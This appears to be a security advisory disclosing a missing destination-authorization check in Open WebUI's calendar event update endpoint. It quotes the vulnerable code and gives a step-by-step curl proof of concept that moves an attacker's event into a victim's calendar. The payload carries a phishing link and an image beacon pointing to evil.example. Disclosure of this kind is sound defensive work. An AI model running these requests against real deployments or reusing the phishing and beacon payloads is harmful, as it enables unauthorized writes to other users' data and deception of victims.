PYSEC-2026-2722

Summary

POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.

A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.

Details

Sink — missing destination check

backend/open_webui/routers/calendar.py:283-297

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

backend/open_webui/models/calendar.py:658-693 (update_event_by_id)

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

Reference — create_event does check the destination

backend/open_webui/routers/calendar.py:255

await _check_calendar_access(form_data.calendar_id, user, 'write')

Default-config gates (both True)

• backend/open_webui/config.py:1658-1662 — ENABLE_CALENDAR defaults 'True'
• backend/open_webui/config.py:1554 — USER_PERMISSIONS_FEATURES_CALENDAR defaults 'True'
• backend/open_webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.

2. Obtain the victim's calendar_id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:

• Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
• Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar_id.
• Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

5. Verification from victim's session

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

Observed output (truncated):

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]

The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

• Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
• Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
• Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).